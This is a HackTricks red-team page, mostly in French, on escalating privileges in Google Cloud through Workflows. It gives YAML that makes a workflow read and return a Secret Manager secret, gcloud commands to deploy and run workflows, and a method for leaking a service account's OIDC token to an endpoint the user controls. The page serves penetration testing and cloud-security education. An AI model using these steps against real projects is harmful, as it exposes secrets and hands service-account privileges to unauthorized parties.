GCP - Workflows Privesc

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Workflows

Basic Information:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

À ma connaissance, il n’est pas possible d’obtenir un shell avec accès à l’endpoint metadata contenant les identifiants du SA attaché à un Workflow. Cependant, il est possible d’abuser des permissions du SA en ajoutant les actions à effectuer à l’intérieur du Workflow.

Il est possible de trouver la documentation des connecteurs. Par exemple, ceci est la page of the Secretmanager connector. Dans la barre latérale, on peut trouver plusieurs autres connecteurs.

And here you can find an example of a connector that prints a secret:

Workflow YAML configuration to access secrets ```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```

Mise à jour depuis le CLI :

Déployer et exécuter des workflows depuis le CLI ```bash gcloud workflows deploy \ --service-account=email@SA \ --source=/path/to/config.yaml \ --location us-central1 ``` Si vous obtenez une erreur comme `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, attendez juste **une minute et réessayez**.

Si vous n’avez pas d’accès web il est possible de déclencher et de voir l’exécution d’un Workflow avec:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Caution

Vous pouvez également vérifier la sortie des exécutions précédentes pour chercher des informations sensibles

Notez que même si vous obtenez une erreur comme PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... parce que vous n’avez pas cette permission, le workflow a bien été généré.

Leak OIDC token (and OAuth?)

According to the docs it’s possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of Cloud Scheduler, the HTTP request with the Oauth token must be to the host .googleapis.com.

Caution

Par conséquent, il est possible de leak le OIDC token en indiquant un endpoint HTTP contrôlé par l’utilisateur, mais pour leak le OAuth token vous auriez besoin d’un contournement de cette protection. Cependant, vous pouvez toujours contacter n’importe quelle GCP api pour effectuer des actions au nom du SA en utilisant soit des connectors soit des requêtes HTTP avec le OAuth token.

Oauth

Workflow HTTP request with OAuth token ```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```
#### OIDC
Requête HTTP de Workflow avec jeton OIDC ```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```
### `workflows.workflows.update` ...

Avec cette permission, au lieu de workflows.workflows.create, il est possible de mettre à jour un workflow déjà existant et d’effectuer les mêmes attaques.

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks